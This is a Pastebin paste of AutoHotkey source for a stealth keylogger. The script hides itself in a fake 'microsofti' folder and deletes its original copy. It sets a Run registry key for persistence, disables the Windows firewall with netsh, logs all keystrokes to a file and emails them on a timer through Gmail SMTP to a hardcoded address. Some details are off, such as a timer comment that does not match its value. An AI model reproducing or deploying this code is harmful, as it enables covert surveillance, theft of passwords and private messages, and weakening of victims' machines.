Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #SingleInstance
- #NoTrayIcon
- ;-Stealth-;
- If !FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
- SetWorkingDir %A_ScriptDir%
- FileAppend, %A_ScriptDir%, %A_Temp%\Temporary.tmp
- FileCopy, %A_ScriptFullPath%, %A_MyDocuments%\microsofti
- Run, %A_MyDocuments%\microsofti\%A_ScriptName%
- Exit
- }
- If FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
- FileSetAttrib, ^H, %A_MyDocuments%\microsofti\%A_ScriptName%
- FileReadLine, OriginalPath, %A_Temp%\Temporary.tmp, 1
- FileDelete, %OriginalPath%\%A_ScriptName%
- }
- ;-RegistryStart-;
- RegWrite, REG_SZ, HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Run, KeyLogger, %A_MyDocuments%\microsofti\%A_ScriptName%
- ;-DisableFirewall-;
- run, netsh advfirewall firewall set allprofiles state off, , Hide
- ;-Delay-; Every minute.
- SetTimer, SendByEmail, 100000
- ;-Key Logger-;
- Loop
- {
- Input, key, V T1,
- FileAppend, %key%, %A_MyDocuments%\microsofti\key.txt
- }
- ;-SMPT Emailer-;
- ProgrammPfad = %A_MyDocuments%\microsofti
- IniPfad = %ProgrammPfad%\key.txt
- Ifnotexist %ProgrammPfad%
- {
- FileCreateDir, %ProgrammPfad%
- }
- SendByEmail:
- {
- FileRead, Contents, %A_MyDocuments%\microsofti\key.txt
- sender := "jacobgilbrt123@gmail.com"
- senderPass := password
- receiver := "jacobgilbrt123@gmail.com"
- subject := "Some New Logs:"
- pmsg := ComObjCreate("CDO.Message")
- pmsg.From := sender
- pmsg.To := receiver
- pmsg.BCC := ""
- pmsg.CC := ""
- pmsg.Subject := subject
- fontsize := 2
- fontname := "Arial"
- font2size := 1
- font2name := "Courier New"
- pmsg.HtmlBody := "<html><font size= " . fontsize . " face= " . fontname . " ><body><h5>New Logs have been sent!</body></h5></font><br><font size= " . font2size . " face= " . font2name . " > " . Contents . " </font></html>"
- fields := Object()
- fields.smtpserver := "smtp.gmail.com"
- fields.smtpserverport := 456
- fields.smtpusessl := True
- fields.sendusing := 2
- fields.smtpauthenticate := 1
- fields.sendusername := "jacobgilbrt123@gmail.com"
- fields.sendpassword := "password"
- fields.smtpconnectiontimeout := 60
- schema := "http://schemas.microsoft.com/cdo/configuration/"
- pfld := pmsg.Configuration.Fields
- For field,value in fields
- pfld.Item(schema . field) := value
- pfld.Update()
- pmsg.Send()
- }
Add Comment
Please, Sign In to add comment